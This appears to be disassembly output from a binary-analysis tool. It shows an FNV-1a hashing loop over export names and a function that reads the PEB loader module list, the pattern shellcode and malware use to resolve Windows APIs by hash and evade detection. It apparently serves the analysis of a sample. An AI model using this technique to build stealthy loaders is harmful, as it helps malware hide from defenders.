mov eax, dword [rax + rdx*4]
mov eax, dword [r11 + rax + 4]
mov dword [rcx], eax
sub r14, 1
jb 0x401666
mov eax, dword [0x00413004]
test eax, eax
je 0x4015ff
mov ecx, dword [r11 + r10 + 0x20]
add rcx, r11
mov esi, dword [rcx + r14*4]
add rsi, r8
mov rcx, r9
nop word cs:[rax + rax]
nop dword [rax + rax]
mov ebp, 0x811c9dc5
mov rdi, rsi
nop dword [rax + rax]
mov ebx, ebp
movsx edx, byte [rdi]
add rdi, 1
xor ebp, edx
imul ebp, ebp, 0x1000193
test edx, edx
jne 0x401640
cmp ebx, eax
je 0x4015e0
mov eax, dword [rcx + 4]
add rcx, 4
test eax, eax
jne 0x401630
jmp 0x4015ff
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret

Function at 0x401990
Capabilities:
Access peb ldr_data

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
ret